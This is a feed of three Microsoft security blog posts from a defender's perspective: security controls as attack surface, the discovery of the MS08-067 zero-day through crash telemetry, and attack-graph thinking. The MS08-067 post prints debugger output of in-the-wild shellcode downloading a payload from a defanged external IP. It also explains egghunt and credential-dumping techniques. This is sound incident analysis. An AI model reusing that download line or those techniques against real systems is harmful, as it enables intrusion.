Defender Mindset https://docs.microsoft.com/archive/blogs/johnla/feed.xml Wed, 17 Apr 2019 04:12:07 GMT en-US hourly 1 How InfoSec Security Controls Create Vulnerability https://docs.microsoft.com/archive/blogs/johnla/how-infosec-security-controls-create-vulnerability Sat, 20 Feb 2016 08:04:37 GMT https://blogs.technet.microsoft.com/johnla/2016/02/20/how-infosec-security-controls-create-vulnerability/ One frequent reality in many intrusions is that attackers don’t target the data they are interested in directly; they target the security controls designed to protect them.  That is, the very solution InfoSec professionals craft to protect assets from risks become the means by which the attackers are able to access them.  They steal legitimate credentials of elevated accounts. They target the account management system.  They use security data such as access control lists and security group memberships to target users for compromise. How did the InfoSec solution become the InfoSec problem?

The Key Aspects that Undermine Security Controls

The protection of information in a network has been long studied by information security professionals. There are lengthy standards, numerous certification regimes, and a bevy of security control solutions for risk management problems.  It is the application of these InfoSec methods without due consideration of the following aspects that leads to networks where the choices in individual risk management decisions fail to create a defensible system:

  1. Lack of recursive threat modeling

  2. Security controls with dependencies that resemble a complex IT org chart

  3. The difficulty in visualizing the security dependency graph, especially as it changes

This doomed security control system then becomes the interim target of intrusions because of its power over the assets the attackers ultimately seek.

Lack of Recursive Threat Modeling

Part of an information security program is defining critical assets and threat modeling risks.  These risks are then minimized by the application of one or more security controls—authentication, access control, vulnerability scanning, and so forth. A critical aspect, however, is that these controls have their own risks. Security controls are not a magical, impenetrable substance.  The controls to protect information and systems are themselves information and systems. 

For example, to protect a sensitive document repository, one might employ access controls and authentication (the access control list, account database, and secrets are information), deploy encryption technology (the keys, their storage, and escrowed instances are information), install a data loss prevention system (an appliance with its own operating system and information), and check for weaknesses with a vulnerability scanner (another system with its own information). 

The selection of controls must be recursively and holistically threat modeled for completeness.  This difficulty in doing this can be exacerbated if the subject matter expertise to do the threat modeling is different at every layer. For example, an InfoSec practitioner using a Data Loss Prevention solution to mitigate sensitive data leaving the network may be an expert on SOX, PCI, and categories of customer PII, but they may not be an expert on the security implementation requirements of a Linux based appliance they procured.  Controls come with risks and must be treated accordingly. 

The Org Chart of IT Creates a Graph of Security Dependencies

Once networks get to a certain size, IT organizations specialize. Endpoint management is handled by one team, whereas the data center is handled by another.  Vulnerability scanning is handled by a dedicated team and identity management by another.  These teams tend to have their own support infrastructure.    InfoSec controls are not separable from IT.  This matrix that exists at an organization level expresses itself as a graph of security dependencies at the information level.  For example, the vulnerability scanning systems may use a “god account” that has admin rights on every host in the network to scan for weaknesses.  The vulnerability scanners may be patched or backed up by a different IT team with admin rights to them.  The vulnerability scanner servers are accessed with admin rights from a set of endpoints that are managed by yet another IT team who has control over those endpoints.  The matrix of IT services arising from domain specialization creates a lattice of critical dependencies, each of which can present opportunities for lateral movement.  If the dependencies of the security controls resemble the complexity of the org chart, it’s time to simplify.

The Difficulty of Visualizing Security Dependencies

Security dependencies are often difficult to see.  Identifying the security dependencies of a host involves significant subject matter expertise to inventory the critical settings: the file servers hosting scripts run on every user logon, the background service that pulls down executables from upstream servers to update themselves, the network printers used by the host that cause it to download and install device drivers, and so on.  Networks are very dynamic.  The provisioning or decommissioning of systems affects the graph.  User login behavior and where credentials are used can vary.  Changes in network connectivity or domain trusts can affect it.  There are hidden edges in the graph—an unpatched server or appliance effectively creates new edges in the dependency graph.  The reuse of a password across different trust domains creates a hidden link.  If you can’t manage what you don’t measure, you can’t prune a graph you’re not visualizing.

This is exacerbated in many environments because the fulfillment of compliance requirements does not leave InfoSec professionals enough time to do the analysis necessary to protect a living network. Management support affects this greatly. If achievement of conformance with various InfoSec standards is all that management supports, then the talent, time, and analysis to ensure the details are right won’t be there.  Analysis of this kind requires whitespace from other compulsory activities.

How do Successful Defenders Cope?

Despite these obstacles, I find defenders at many organizations able to cope with these challenges.  Here are the practices I see in them:

  1. They manage from the terrain, not the map.  They seek to know what’s truly running in their network, not just the services that IT officially manages.

  2. They better manage isolation and compartmentalization leading to fewer spaghetti dependencies to manage.  They reduce the number of ingress and egress paths to remove duplication.

  3. They have a bench of subject matter experts to do the required threat modeling.  They know they can’t secure things they don’t understand. Any technology indistinguishable from magic has no place on their network.

  4. They have a keen appreciation of the difference between the risks of Murphy and Satan.  “Murphy risks” cause problems but ones that are not intentional in nature—for example an outage or commodity malware landing opportunistically on a host in the network.  “Satan risks” are risks with intent. There is an active adversary.  InfoSec security control selection does well against Murphy, but requires different thinking for Satan.

  5. They have a heavy emphasis on detective controls that look for abuse of legitimate access. They “Assume Breach” and work from the assumption that their controls will be compromised and are prepared to work the kill chain starting at the end first.

  6. They have management support for the whitespace required to analyze and defend a complex system. Compliance requirements, while mandatory, are seen as necessary but not sufficient.

  7. They embrace the matrix and coordinate well across their peer IT teams and users of the network.

  8. They employ penetration testing but instead of treating it as a report card, an output, they treat it as an input. They use pentesting in a diagnostic way informing a comprehensive security program.

  9. They do attack research.  They know that knowledge on how to find vulnerabilities and assess their exploitability is just as valuable for defenders as it is for attackers.  Their blue teams bleed red and their red teams bleed blue.

  10. They actively manage their graph. They reduce the number of standing administrators.  They consider the attack surface of their defense. 

Until InfoSec teams are better able to handle the aspects of recursive threat modeling, deal with the matrix effects of IT, visualize their security dependencies better, and find the whitespace to do it all, security controls will continue to be a primary attack surface targeted by attackers in intrusions.  InfoSec regimes also need to do a better job at documenting successful methods and practices for doing this kind of analysis.  It’s critical to get right, because that’s the Defender’s Mindset.


 -----

This blog expands on a topic from this tweet: https://twitter.com/JohnLaTwC/status/699304590500634625

Thanks to Tal Be'ery (@TalBeerySec) from the Microsoft ATA team, Adam Shostack (@adamshostack), and Erica E for reviewing a draft of this post.

]]> The Inside Story Behind MS08-067 https://docs.microsoft.com/archive/blogs/johnla/the-inside-story-behind-ms08-067 Sat, 26 Sep 2015 10:10:00 GMT https://blogs.technet.microsoft.com/johnla/2015/09/26/the-inside-story-behind-ms08-067/ Seven years ago a small set of targeted attacks began.  In 2008 an unknown set of attackers had a zero day vulnerability that would soon have worldwide attention.  They were patient and used it quietly in several countries in Asia.  The vulnerability was not just good--it was the kind of vulnerability that offensive teams and bug hunters dream about.  It was, as we say in the business, “wormable”. That word sends chills down any defender’s spine.  In short, the attackers had a remote code execution (RCE) vulnerability that affected every version of Windows, gave them full control at SYSTEM level rights, left almost no forensic footprint, and could be used anonymously from anywhere on the Internet.  Their exploit was 95% reliable. Almost perfect. Almost.

Exploit Mitigations

The story starts a year earlier.  If you meet anyone that works in the Trustworthy Computing group at Microsoft, one thing you notice is that many of us chart our career milestones by Microsoft security bulletins.  “MS03-007? That was a doozy.” “Sure, but MS03-026 was crazy.” “You’re right, that was crazy.”  To understand MS08-067 you need to understand MS07-029, an RCE vulnerability in Windows DNS.  MS07-029 was one of a series of Remote Procedure Call (RPC) server vulnerabilities that were steadily being ferreted out by Microsoft, attackers, and security researchers alike.  There was one difference. MS07-029 was the first RCE that where we had our Visual Studio return address protection (/GS) and Windows Data Execute Prevention (DEP) in effect.  We refer to these defenses as exploit mitigations and we had been steadily adding them since XP SP2.  It was one of the ways we were using security engineering to combat security issues in engineering. Once an exploit has trashed the internal memory of a process, there is no recovery and the only option is to force a crash—a terrible user experience for sure, but better than resulting in a compromised machine. Exploit writers know we have been adding a steady stream of mitigations: SafeSEH, SEHOP, heap hardening, ASLR, MemProtector, IsoHeap, and Control Flow Guard.  These mitigations not only close off avenues for exploitation, but they also give us the ultimate two-fer.  They feed telemetry.

Exploits feed Telemetry

Crashes are a terrible experience for users so Windows has a facility called Windows Error Reporting (WER) that can, if the user consents, send the crash data to Microsoft. WER receives hundreds of millions of crashes from poorly behaving apps and buggy hardware running on over one billion PCs.  Engineers “bucket” them by the underlying root cause and work their way down the priority list—first fixing bugs affecting the greatest number of customers.  Remember that the next time a Windows Error Reporting dialog appears—you’re voting for your bug.  The crash buckets for the bug in MS07-029 were revealing.  The figure shows a significant increase in crashes in Windows DNS after the issue became public (early April 2007).  Once an issue is public, security researchers and attackers alike race to re-discover the vulnerability and move from proof-of-concepts to working exploits. The crash buckets for Windows DNS suddenly became very active.  Every idea has its moment of inspiration. For me, it was looking at that chart: just before we learned of the attack, every few days there was a crash--a blip in the WER universe.  I looked at each of them and saw that all of them were exploits. If we had the ability to determine when a crash was an exploit, we could respond much earlier in the attack lifecycle and protect customers sooner. To find 0-days, you won’t find them in the big noisy buckets generating hundreds of thousands of hits per day. You need to live in the long tail of small data.  Determined to make security crashes “loud”, I went into the strange and bizarre world of bit flips, one hit wonders, unreproducible race conditions, and 0-days.

Living in the Tail

By September 2008 we had built a system that screened millions of crashes for security exploits.  Along the way I felt like I joined the world’s smallest profession—that of an exploit failure engineer. On September 25th a crash came in that got my attention--an exploit in netapi32.dll. This alone was not unusual.  With MS06-040 we fixed a buffer overrun in netapi32!NetpwPathCanonicalize that received millions of crashes every day from botnets attempting (and failing because of /GS) to infect vulnerable PCs.  This new crash was in very similar code, but in a different WER bucket. It was not in the top 100 or top 1,000 issues. It was bucket #45,000 with exactly 2 hits ever.  This was living in the tail.

Enter !pwnd

What made this tiny bucket stand out?  First, there was an exploit.  We had written a custom debugger extension, colorfully called !pwnd (Windows debugger extensions are invoked by prefixing it with the ‘bang’ symbol). It found shellcode in the crash dump. I reviewed the shellcode and saw that it used an egghunt to find the payload.  An egghunt is an exploit engineering technique used when a buffer overrun is constrained in terms of how much payload can be sent.  The solution is to split the attack into two parts. In the first part, you interact with the target in a benign way, sending over data that contains your real payload preceded by a unique sequence of bytes (the “egg”), but without triggering the vulnerability.  If you do this the right way, your payload sticks around in memory somewhere. Then you trigger the vulnerability and your constrained shellcode searches around in memory for the egg and jumps to it.  This was the first exploit for netapi32.dll that used an egghunt. An eyebrow was raised. The second thing unusual about this crash dump was not just the way it failed.  It was the way it was succeeding before it crashed.  I looked beyond the crashing thread to the other threads in the process.  One of them revealed the attacker had already exploited the process and the shellcode was in the middle of downloading a payload using URLDownloadToFileA!
    0:066> kPn99   # ChildEBP RetAddr   00 0150f048 7c90e9ab ntdll!KiFastSystemCallRet(void)   01 0150f04c 7c8094e2 ntdll!ZwWaitForMultipleObjects(void)+0xc   ...   08 0150f2b4 7813b13a urlmon!CUrlMon::StartBinding(   int fBindToObject = 0,   struct IBindCtx * pbc = 0x00185540,   struct IMoniker * pmkToLeft = 0x00000000,   struct _GUID * riid = 0x7813b394 {0000000c-0000-0000-c000-000000000046},   void ** ppvObj = 0x0150f2fc)+0x169   09 0150f2d8 7815bcd2 urlmon!CUrlMon::BindToStorage(   struct IBindCtx * pbc = 0x00185540,   struct IMoniker * pmkToLeft = 0x00000000,   struct _GUID * riid = 0x7813b394 {0000000c-0000-0000-c000-000000000046},   void ** ppvObj = 0x0150f2fc)+0x49   0a 0150f31c 781b73d2 urlmon!CBaseBSCB::KickOffDownload(   wchar_t * szURL = 0x0150f400 "hxxp://59.106.145.58/n2.exe")+0x193   0b 0150f330 781b7847 urlmon!CFileDownload::KickOffDownload(   wchar_t * szURL = 0x0150f400 "hxxp://59.106.145.58/n2.exe")+0x2d   0c 0150f348 781b7a4a urlmon!URLDownloadToFileW(   struct IUnknown * caller = 0x00000000,   wchar_t * szURL = 0x0150f400 "hxxp://59.106.145.58/n2.exe",   wchar_t * szFileName = 0x0150f380 "update.exe",   unsigned long dwReserved = 0,   struct IBindStatusCallback * callback = 0x00000000)+0x51   0d 0150f480 0150f5b8 urlmon!URLDownloadToFileA(   struct IUnknown * caller = 0x00000000,   char * szURL = 0x0150f6a1 "hxxp://59.106.145.58/n2.exe",   char * szFileName = 0x0150f6d1 "update.exe",   unsigned long dwReserved = 0,   struct IBindStatusCallback * callback = 0x00000000)+0x109  
While egghunts weren’t new, this was a new flavor of shellcode for netapi32 exploits and clear evidence of a successful exploit. The final nail in the coffin was the version information in the crash dump. Netapi32.dll was fully patched!  There seemed to be only one explanation for this: a new 0-day in the wild. 0:088> lmvm netapi32 Image path: C:\WINDOWS\system32\netapi32.dll Image name: netapi32.dll Timestamp:        Thu Aug 17 05:28:27 2006 (44E460EB) File version:     5.1.2600.2976

Going in Reverse

Most of the time security researchers find a vulneraility then work to write an exploit.  I was going in reverse: examining an exploit to determine the vulnerability, armed with only a forensic crash and no way to reproduce it. Had the exploit blown away the crucial clues in the buffer overrun itself? I studied the crash over and over. I looked at the source code for netapi32.  Vulnerabilities are often obvious in hindsight but stubborn to reveal themselves at first. Here was my dilemma: if I could not find the vulnerability, despite having a clear exploit, we could not act. Engineers first need to understand the bug to fix it.  If I could not find the bug, this opportunity would pass us by. I was stuck and the clock was ticking, so what did I do? I asked for help. I brought the case to the manager of the MSRC security engineers, Andrew Roths.  Andrew is a brilliant security engineer. The only problem was Andrew had, like me, looked at many crash dumps before and knew all too well the elusive nature of finding new issues in the tail of data. There are many dead ends, false starts, and fool’s gold. I remember this time vividly. There was some tension in the air because I was pressing for help from a busy team on something the odds said were unlikely. After all, this code had been pored over by Microsoft and security researchers intensely already.  Would a latent buffer overrun have escaped all those eyeballs?  There are often confounding factors in a crash. You can debug a crash for hours confident you have a vulnerability dead to rights only to find out the machine had a buggy driver randomly flipping bits in memory. Life in the tail is harsh. I remember the moment Andrew stopped by my office. I was ready for a debate about whether we should pull security engineers off of already confirmed vulnerability cases, potentially delaying them, to work on this elusive vulnerability. The look on his face told me something had changed. He said, “I found a vulnerabilty.” What Andrew had done said a lot about himself.  Like any good manager, Andrew wanted to shield his people from randomization.  He took the case on himself.  He thought this might be another dead end and wanted to prove it to bring the issue to closure.  MSRC engineers care deeply about their analysis of vulnerabilities and his doggedness broke the case. He walked me through his analysis, and once we were sure, there was only one thing to do next.  

“Wormable”

We walked down the hallway to the office of the crisis manager, Phillip.  He was in the middle of a meeting with someone in his office.  There must have been something about the expression on our faces because he turned to his visitor and abruptly said, “I’ll talk with you later”.  We entered and I said, “we have a zero day.”  We explained the basic facts.  We had a vulnerabilty, that could be exploited remotely,  anonymously, that affected all versions of Windows. It was wormable and someone was already exploiting it.  When you say the word ‘wormable’ to a crisis manager, it activates some latent response DNA.  In his quiet way he went from 1 to 11 and immediately got to work mobilizing everyone. Scarred by Code Red and Blaster, when an issue is wormable, at Microsoft everyone shows up and works it as job #1. At this point, I let the vulnerability response process drive the engineering fix and went back to my crashes. What else could telemetry tell us about activity and spread? Could I tell if this was targeted or already being used in mass infections?  I used one of my exploit failure engineering skills of “dialing into the buckets.” That is, finding all the relevant crashes that represent this issue on every version of Windows, every SKU, every possible way the exploit could fail. On Windows Vista and Windows Server 2008 it always failed.  The Security Development Lifecycle (SDL) process at Microsoft made sure those OS editions had full ASLR and DEP for the svchost.exe process and the RPC interface had been upgraded to require authentication—a classic example of a win from defense in depth, now fueling my radar.

Attacker Impatience is the Defender’s Reward

Why did the original exploit fail? The short answer is that the attacker made a mistake. The vulnerability was in canonicalizing the path component of a filename (e.g. turning \foo\..\bar\filename.ext into \bar\filename.ext). An attacker could trigger conditions that confused the way the code indexed the string and a buffer would get copied somewhere on the stack it should not.  Normally this invalid input would cause the buggy code to crash, but the exploit authors figured out a way around this problem. Triggering the vulnerability would cause the code to sweep and search for a slash character (‘\’ or 0x5c) that was outside the bounds of the buffer.  All that normally sits outside of the buffer are thread stack contents: local variables, return addresses, and pointers.  The attacker needed to place a 0x5c byte nearby otherwise the code would sweep through the stack and crash the second it touched the guard page that abuts every thread stack.  Their solution for this was to first call the vulnerable function with a benign input that had the slash character but would not trigger the vulnerability. This data would stay latent on the stack, like a ghost, the next time the function was called.  This technique was perfectly reliable if Windows used the same thread for both requests.  This happened nearly all the time. Nearly.  In a quirk of fate, the Windows RPC thread pool handed the second request containing the exploit to a different thread—one that did not have the carefully placed slash character.  The netapi32 code kept searching for it, eventually running off the end of the thread stack, hitting the guard page, and crashing the process with a stack overflow error (0xC00000fd).  My interpretation is that the attack had succeeded and was downloading the payload, but the attacker got impatient or goofed and ran the exploit a second time. Patience is a virtue after all!
0:088> .ecxr   eax=064c2ffe ebx=064f005c ecx=064ff49a edx=064ff544 esi=064ff464 edi=064ff464   eip=5b878809 esp=064ff464 ebp=064ff474 iopl=0         nv up ei pl nz na po cy   cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010203   netapi32!ConvertPathMacros+0x101:   5b878809 6683385c        cmp     word ptr [eax],5Ch       ds:0023:064c2ffe=????   0:088> .exr -1   ExceptionAddress: 5b878809 (netapi32!ConvertPathMacros+0x00000101)   ExceptionCode: c00000fd (Stack overflow)   ExceptionFlags: 00000000   NumberParameters: 2   Parameter[0]: 00000000   Parameter[1]: 064c2ffe  

Crashes as Situational Awareness

After “dialing into the buckets” I provided situational awareness to the response process. By examining the locale information in the crashes we had some sense of geographic spread. It went from Japan to Malaysia, Philippines, Vietnam, and beyond.  Below is the chart of activity. The barely visible blue bars are the crash activity.  The red bars are the success activity. Once MSRC was ready with the patch, we made the decision to ship it as an out-of-band update. Every patch release starts the clock in terms of copycat exploits.  This is the one of those dilemmas in the MSRC business. Naturally you want to ship an update as soon as it’s ready.   But when you ship an out-of-band update, many IT teams aren’t ready and this slows down how quickly systems are updated.  Attackers don’t hesitate to download the patch, diff it, and start building exploits, and defenders caught on their back foot may be at a disadvantage as they scramble to rearrange their schedule to deploy the update.  We considered. Can you hold until Patch Tuesday when IT teams around the world are ready to receive and act? Or do you ship early and disrupt customers?  The answer was clear. We had a critical vulnerability. We saw an uptick in activity. The patch was ready.  We went out-of-band.

Windows Update

We were rushing to extinguish a fire before it turned into an inferno and Windows Update was our fire hose. The engineers who built Windows Update made a phenomenal inoculation system. While all we observed were targeted attacks, we knew a worm could be released at any moment with hundreds of millions of vulnerable systems to use as oxygen.  MSRC used every megaphone it could to tell customers to patch.  In a week, Windows Update patched 400 million PCs and untold millions more behind corporate firewalls with WSUS. I can’t think of another system that can update 400 million of anything at a similar pace. Ask anyone about MS08-067 and most will mention Conficker.  At this point in October, Conficker did not even exist.  Conficker, as disruptive as it was, affected only the tail of computers that had not patched. Imagine what would have happened if Conficker had half a billion more systems to infect.

Exploit Reliability

The moment we went public, the attackers disappeared and I never saw them again.  I soon saw crashes from people rediscovering the vulnerability, from vulnerability scanners probing for vulnerable systems, and soon enough, from botnet exploits.  In the chart above, I show successes.  WER only sees failures so how did we know about successes? When the exploit was successful it would post a reply to a webserver.  Once the attack became public, security researchers from around the world wanted those logs and soon enough the logs were publicly available on the Internet, revealing the successful attacks. Correlating the successes with the failures we were able to conclude that we had found the exploit within its first 6 uses. The exploit was 95% reliable and our assumption that we were only seeing a shadow of real activity was correct. The decision to go out-of-band was the right one.

Final Thoughts

For me, MS08-067 will always be a special memory.  Security is often a slog and offense gets the headlines.  This story shows that defense can be just as creative and exciting.  The ingenuity in the hunt, the thrill of discovery, and the desire to protect customers gets in people’s blood and it’s the reason security is more often a tribe than a job. That’s the Defender’s Mindset. While I describe these events as a personal anecdote, pioneering exploit crash dump analysis would not have been possible without many incredible people, including: Fred Aaron, Jinwook Shin, Darren Canavor, Andrew Roths, Allen Jones, Matt Thomlinson, David Grant, Nicola Cowie, Mark Wodrich, Damian Hasse, Roberto Bamberger, Kinshuman Kinshumann, Steven Wort, Vince Orgovan, Matt Miller, Ken Johnson, Adam Zabrocki, John Banes, Chris Betz, and Kirk Glerum, who is widely considered the father of “Watson”. Many others were involved in the response and I apologize for not naming all of you.  To all our security partners and the security professionals at customers who worked this incident, you protected the world!

References

Debugging in the Very Large by Kirk Glerum et al., http://research.microsoft.com/apps/pubs/default.aspx?id=81176 Security Bulletin for MS08-067, https://technet.microsoft.com/en-us/library/security/ms08-067.aspx]]> Defenders think in lists. Attackers think in graphs. As long as this is true, attackers win. https://docs.microsoft.com/archive/blogs/johnla/defenders-think-in-lists-attackers-think-in-graphs-as-long-as-this-is-true-attackers-win Sun, 26 Apr 2015 08:03:00 GMT https://blogs.technet.microsoft.com/johnla/2015/04/26/defenders-think-in-lists-attackers-think-in-graphs-as-long-as-this-is-true-attackers-win/ Defender Mindset A lot of network defense goes wrong before any contact with an adversary, starting with how defenders conceive of the battlefield. Most defenders focus on protecting their assets, prioritizing them, and sorting them by workload and business function. Defenders are awash in lists of assets—in system management services, in asset inventory databases, in BCDR spreadsheets. There's one problem with all of this. Defenders don't have a list of assets—they have a graph. Assets are connected to each other by security relationships. Attackers breach a network by landing somewhere in the graph using a technique such as spearphishing and they hack, finding vulnerable systems by navigating the graph. Who creates this graph? You do.

What Is the Graph?

The graph in your network is the set of security dependencies that create equivalence classes among your assets. The design of your network, the management of your network, the software and services used on your network, and the behavior of users on your network all influence this graph. Take a domain controller for example. Bob admins the DC from a workstation. If that workstation is not protected as much as the domain controller, the DC can be compromised. Any other account that is an admin on Bob's workstation can compromise Bob and the DC. Every one of those admins logs on to one or more other machines in the natural course of business. If attackers compromise any of them, they have a path to compromise the DC.

Six Degrees of Mallory

Attackers can lay in wait on a compromised machine, using a password dumper such as mimikatz until a high value account logs on to the machine. Let's examine an example graph. Figure 1 Example network logon graph The cluster on the left is single Terminal Server used by hundreds of users. If attackers compromise this machine, they can dump the credentials of many users over time. Figure 2 A compomised terminal server can lead to many credentials How can attackers move laterally to get to the High Value Asset? Figure 3 An attack path exists from compromising a terminal server to a high value asset By searching the graph, attackers discover multiple paths to the High Value Asset. Compromising the terminal server can allow attackers to also compromise User46 and User128. Those users are admins on Machine2821 and Machine115 respectively. Compromising those workstations allows attackers to compromise User1 and User34, both of which are admins on the High Value Asset. For the High Value Asset to be protected, all the dependent elements must be as protected as thoroughly as the HVA—forming an equivalence class.

Security Dependencies

In a Windows network, when users perform certain kinds of logons (Interactive, Terminal Server, and others), those users' credentials (and single-sign-on equivalents such as a Kerberos TGT or NTLM hash) are exposed to theft if the underlying host is compromised. Beyond this, there are many kinds of relationships that create security dependencies:
  • Local admin accounts with a common password. Compromise one system, dump the local admin password, and use that password on other hosts with the same password.
  • File servers housing logon scripts that run for many users and software update servers.
  • Print servers that deliver print drivers to client machines when used.
  • Certificate authorities that issue certificates valid for smart card logons.
  • Database admins that can run code under the context of a database server running as a privileged user.
And so on. There are indirect relations as well. A machine that has a vulnerability can be compromised, suddenly allowing attackers to create new edges in the graph. Or users may have an account in two untrusted domains with the same password, creating a hidden edge between domains.

Manage your Graph

What can you do as a defender? The first step is to visualize your network by turning your lists into graphs. Next, implement controls to prune the graph:
  • Examine unwanted edges that create huge connectivity bursts. Implement infrastructure partitioning and credential silos to reduce them.
  • Reduce the number of admins. Use Just-In-Time / Just Enough techniques for privilege minimization.
  • Use two factor authentication to mitigate certain edge traversals.
  • Apply a solid credential rotation approach in case a user account is compromised.
  • Rethink forest trust relationships.

Learn to Spot List Thinking

Defenders need to ensure that attackers don't have a leg up on them when visualizing the battlefield. In this contest, defenders can have the upper hand. They can have full information about their own network, whereas attackers need to study the network piece by piece. Defenders should take a lesson from how attackers come to understand the graph. Attackers study the infrastructure as it is—not as an inaccurate mental model, viewed from an incomplete asset inventory system, or a dated network diagram. Manage from reality because that's the prepared Defenders Mindset.

Further Reading

There are a number of papers about attack graphs. Here are a few: Heat-ray: Combating Identity Snowball Attacks Using Machine Learning, Combinatorial Optimization and Attack Graph by J. Dunagan, D. Simon, and A. Zheng, http://alicezheng.org/papers/sosp2009-heatray-10pt.pdf Two Formal Analyses of Attack Graphs by S. Jha, O. Sheyner and J. Wing, http://www.cs.cmu.edu/~scenariograph/jha-wing.pdf Using Model Checking to Analyze Network Vulnerabilities by P. Ammann and R. Ritchey, http://cyberunited.com/wp-content/uploads/2013/03/Using-Model-Checking-to-Analyze-Network-Vulnerabilities.pdf A Graph-Based System for Network-Vulnerability Analysis by C. Phillips and L. Swiler, http://web2.utc.edu/~djy471/CPSC4660/graph-vulnerability.pdf Automated Generation and Analysis of Attack Graphs by J. Haines, S. Jha, R. Lippman, O. Sheyner, J. Wing, https://www.cs.cmu.edu/~scenariograph/sheyner-wing02.pdf [And thanks to @4Dgifts for mentioning the two below] Modern Intrusion Practices by Gerardo Richarte, https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-richarte.pdf Attack Planning in the Real World by Jorge Lucangeli Obes, Gerardo Richarte, Carlos Sarraute, http://arxiv.org/pdf/1306.4044.pdf]]>